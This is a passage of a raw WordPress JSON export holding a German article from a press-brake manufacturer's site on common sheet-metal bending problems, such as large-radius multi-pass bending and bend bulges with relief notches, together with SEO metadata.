Die Position der Prozesskante sollte auf gleicher H\u00f6he mit der Endkante des Zubeh\u00f6rs sein. An der Verbindungsstelle sollte Laserschneiden verwendet werden, um das Schleifen und Entfernen nach Abschluss des Biegevorgangs zu erleichtern.<\/li><li>Wenn die Plattendicke t gr\u00f6\u00dfer als 6 mm ist, kann zum Positionieren eine Schablone ausgeschnitten werden. Die Schablonendicke kann gleich oder geringf\u00fcgig kleiner als die Werkst\u00fcckdicke sein. Beide Positioniermethoden k\u00f6nnen das Problem des Biegens und Gleitens von Materialien l\u00f6sen.<\/li><\/ol>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-8a55c1c elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"8a55c1c\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="bsjewbcc" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="kphwyctq" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-21dad55\" data-id=\"21dad55\" data-element_type=\"column\">\n\t\t\t<div id="qbqlnxjn" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="hxbljajk" class=\"elementor-element elementor-element-c95b1a7 elementor-widget elementor-widget-heading\" data-id=\"c95b1a7\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="wzxkfdgw" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">Gro\u00dfes Bogenbiegen<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="gyyddplp" class=\"elementor-element elementor-element-0739f51 elementor-widget elementor-widget-text-editor\" data-id=\"0739f51\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="faxzzhsj" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>W\u00e4hrend des Produktions- und Herstellungsprozesses kommt es h\u00e4ufig vor, dass der Biegeradius des Werkst\u00fccks gro\u00df ist und in der Werkstatt keine passende gro\u00dfe Bogenform vorhanden ist. In diesem Fall ist der Produktionszyklus von Integralformformen oder gro\u00dfen Bogenformen l\u00e4nger und die Kosten sind zu hoch, w\u00e4hrend die Verwendung der Mehrdurchgang-Biegeformtechnologie f\u00fcr kleine B\u00f6gen kosteng\u00fcnstiger und breiter anwendbar ist. Im Projekt Super Bus 2.0 gibt es beispielsweise eine Komponente mit einer vertikalen Platte und drei vertikalen Platten mit einem Biegeradius von 125 mm und einem Biegewinkel von 90 \u00b0, wie in Abbildung 9 dargestellt. Da in der Werkstatt keine entsprechenden Biegeformen vorhanden sind, k\u00f6nnen mehrere Biegeverfahren verwendet werden. Zun\u00e4chst wurde eine 3D-Software verwendet, um das Layout und die Biegung an der Position R125 mm zu modellieren. Nach der Modellierung entfaltete die Software automatisch das 2D-Flachplattendiagramm. Durch Eingabe eines Biegeradius von 45 mm in die Software und Vergleich mehrerer Dateneingaben wurde best\u00e4tigt, dass das Kreisbogensegment durch Biegen mit 8 Schnitten gew\u00e4hrleistet werden konnte. Anschlie\u00dfend wurden die Biegedaten (Biegewinkel, L\u00e4nge der Biegelinienposition) f\u00fcr jeden Schnitt generiert, wie in Abbildung 10 dargestellt. Abschlie\u00dfend wurde auf Grundlage der Biegedaten vor Ort ein Probebiegen durchgef\u00fchrt, wie in Abbildung 11 dargestellt.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="zcgerxfq" class=\"elementor-element elementor-element-606ed60 elementor-widget elementor-widget-image\" data-id=\"606ed60\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="rxddexyq" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="qjgtksrs" class=\"elementor-element elementor-element-9acf25a elementor-widget elementor-widget-text-editor\" data-id=\"9acf25a\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="chcjbqfh" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p style=\"text-align: center;\">Abbildung 9: Bogenf\u00f6rmige Werkst\u00fccke<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-c422e09 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"c422e09\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="xczjspka" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="snhmeapx" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-c1d5c11\" data-id=\"c1d5c11\" data-element_type=\"column\">\n\t\t\t<div id="wjrfenta" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="rrddfwhk" class=\"elementor-element elementor-element-c5d9531 elementor-widget elementor-widget-image\" data-id=\"c5d9531\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="zrzfznzd" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="lheykwgq" class=\"elementor-element elementor-element-92a80cf elementor-widget elementor-widget-text-editor\" data-id=\"92a80cf\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="cnthafxj" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p style=\"text-align: center;\">Abbildung 10: Abwicklungsdiagramm und Biegelinienposition<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-393cbcb elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"393cbcb\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="wfdftmcg" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="gbsfteqg" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-4f18bcf\" data-id=\"4f18bcf\" data-element_type=\"column\">\n\t\t\t<div id="cxkcwazr" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="zssxwrra" class=\"elementor-element elementor-element-df8ea84 elementor-widget elementor-widget-image\" data-id=\"df8ea84\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="rkmwfljk" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="qllwzyxx" class=\"elementor-element elementor-element-cf3b8a5 elementor-widget elementor-widget-text-editor\" data-id=\"cf3b8a5\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="xaxbzfcz" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p style=\"text-align: center;\">Abbildung 11: Probebiegen der Form vor Ort<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-3fb0a2a elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"3fb0a2a\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="kgrpwhzk" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="drnpgyhk" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-8c2b675\" data-id=\"8c2b675\" data-element_type=\"column\">\n\t\t\t<div id="tmmlsgjc" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="ftseqgyz" class=\"elementor-element elementor-element-4793c8c elementor-widget elementor-widget-heading\" data-id=\"4793c8c\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="xywgfpcs" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">Biegevorsprung<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="lbelxebb" class=\"elementor-element elementor-element-37296fd elementor-widget elementor-widget-text-editor\" data-id=\"37296fd\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="bghrmlnt" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Biegevorsprung bezieht sich auf das Ph\u00e4nomen, bei dem das Metallmaterial aufgrund von Materialkompression auf beiden Seiten der gebogenen Ecke des Blechs hervorsteht, was zu einer Breite f\u00fchrt, die gr\u00f6\u00dfer als die urspr\u00fcngliche Gr\u00f6\u00dfe ist. Die Gr\u00f6\u00dfe des Biegevorsprungs h\u00e4ngt im Allgemeinen von der Dicke der Zubeh\u00f6rplatte und dem Biegeradius ab. Je dicker die Platte, desto kleiner der Biegeradius und desto deutlicher der Vorsprung.<\/p><p>Um dieses Biegequalit\u00e4tsproblem zu vermeiden, k\u00f6nnen beim Zeichnen des Biegeentfaltungsdiagramms auf beiden Seiten der Biegelinie Prozesskerben hinzugef\u00fcgt werden, wie in Abbildung 12 dargestellt. Der Prozessspalt hat im Allgemeinen die Form eines Kreisbogens mit einem Durchmesser von mindestens dem 1,5-fachen der Dicke des Werkst\u00fccks, um den Biegevorsprung auszugleichen und das Problem des Biegevorsprungs effektiv zu l\u00f6sen. Bei Werkst\u00fccken, die bereits Biegevorspr\u00fcnge aufweisen, wird im Allgemeinen manuelles Polieren zur Bearbeitung verwendet.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-6f7d5ac elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"6f7d5ac\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="clehgqwh" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="xgxpzqqk" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-94a3f5e\" data-id=\"94a3f5e\" data-element_type=\"column\">\n\t\t\t<div id="ctdmmxpr" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="rpcydznw" class=\"elementor-element elementor-element-804da69 elementor-widget elementor-widget-image\" data-id=\"804da69\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="cdylkcak" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="jkpjztbp" class=\"elementor-element elementor-element-acaac98 elementor-widget elementor-widget-text-editor\" data-id=\"acaac98\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="zagcbhds" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p style=\"text-align: center;\">Abbildung 12: Prozessl\u00fccke<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="pdrllwnn" class=\"elementor-element elementor-element-e6973e6 elementor-widget-divider--view-line elementor-widget elementor-widget-divider\" data-id=\"e6973e6\" data-element_type=\"widget\" data-widget_type=\"divider.default\">\n\t\t\t\t<div id="rdcmxdwk" class=\"elementor-widget-container\">\n\t\t\t\t\t<div id="yzqgnpkb" class=\"elementor-divider\">\n\t\t\t<span class=\"elementor-divider-separator\">\n\t\t\t\t\t\t<\/span>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-4f92c87 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"4f92c87\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="xhyygrkm" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="lhwyxphr" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-bc9b3ec\" data-id=\"bc9b3ec\" data-element_type=\"column\">\n\t\t\t<div id="zrkyfqke" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="mxykjrzj" class=\"elementor-element elementor-element-20cb8f4 elementor-widget elementor-widget-heading\" data-id=\"20cb8f4\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="extmckyk" class=\"elementor-widget-container\">\n\t\t\t<h2 class=\"elementor-heading-title elementor-size-default\">Abschluss<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="aqnzdpqa" class=\"elementor-element elementor-element-36668e0 elementor-widget elementor-widget-text-editor\" data-id=\"36668e0\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="bfkygbpt" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Es ist zu beachten, dass bei den oben aufgef\u00fchrten h\u00e4ufigen Biege- und Schnittqualit\u00e4tsproblemen in der Produktionspraxis die Auswirkungen menschlicher oder ger\u00e4tebezogener Faktoren (wie falsche Entfaltungsma\u00dfe, falsche Auswahl der Biegeparameter und Alterung der Ger\u00e4te) nicht ber\u00fccksichtigt wurden. In der Produktionspraxis sollten geeignete Biegeprozessparameter basierend auf der Ger\u00e4teleistung, der Produktgr\u00f6\u00dfe und den Materialeigenschaften ausgew\u00e4hlt und strikt gem\u00e4\u00df den Betriebsspezifikationen ausgef\u00fchrt werden. Wir m\u00fcssen nicht nur die Auswirkungen verschiedener Faktoren wie Projektfortschritt, Kosten und Qualit\u00e4t umfassend ber\u00fccksichtigen und geeignete Methoden zur L\u00f6sung von Biegequalit\u00e4tsproblemen anwenden, sondern auch Erfahrungen sammeln, um das Auftreten und die Auswirkungen von Biegeproblemen in der Prozessanalysephase vorherzusagen und gezielte Ma\u00dfnahmen zu ihrer Vermeidung zu ergreifen. Dieser Artikel listet mehrere h\u00e4ufige Biegequalit\u00e4tsprobleme und ihre L\u00f6sungen auf und hofft, Branchenkollegen einige Referenzen und Anleitungen zu bieten.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="zzycbnde" class=\"elementor-element elementor-element-0706f84 elementor-widget elementor-widget-text-editor\" data-id=\"0706f84\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="gqqszhxr" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p><strong>Mehr lesen:<\/strong><\/p><p><a id="rwtrwhlc" href=\"https:\/\/www.shen-chong.com\/de\/press-brake\/\" target=\"_blank\" rel=\"noopener\">Hydraulische Abkantpresse<\/a><\/p><p><a id="kbajzbkf" href=\"https:\/\/www.shen-chong.com\/de\/what-are-the-k-factor-bend-allowance-and-bend-deduction\/\" target=\"_blank\" rel=\"noopener\">Was sind K-Faktor, Biegezugabe und Biegeabzug?<\/a><\/p><p><a id="ptfwrkzp" href=\"https:\/\/www.shen-chong.com\/de\/comprehensive-introduction-sheet-metal-bending\/\" target=\"_blank\" rel=\"noopener\">Umfassende Einf\u00fchrung: Blechbiegen<\/a><\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>","protected":false},"excerpt":{"rendered":"<p>Inhaltsverzeichnis W\u00e4hrend des Produktions- und Herstellungsprozesses k\u00f6nnen beim Biegen von Blechteilen verschiedene Biegequalit\u00e4tsprobleme auftreten, die die Verbesserung der Produktionseffizienz und die Stabilit\u00e4t der Produktqualit\u00e4t beeintr\u00e4chtigen k\u00f6nnen. Dieser Artikel befasst sich mit h\u00e4ufigen Biege- und Schneidqualit\u00e4tsproblemen in der Produktionspraxis, analysiert die Ursachen der Probleme und schl\u00e4gt L\u00f6sungen vor, um [\u2026]<\/p>","protected":false},"author":1,"featured_media":3518,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3517","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news-events"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Common Bending Quality Problems And Solutions - SC Machinery<\/title>\n<meta name=\"description\" content=\"Bending quality problems may arise when bending sheet metal parts, which can affect the production efficiency and product quality.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.shen-chong.com\/de\/common-bending-quality-problems-and-solutions\/\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Common Bending Quality Problems And Solutions - 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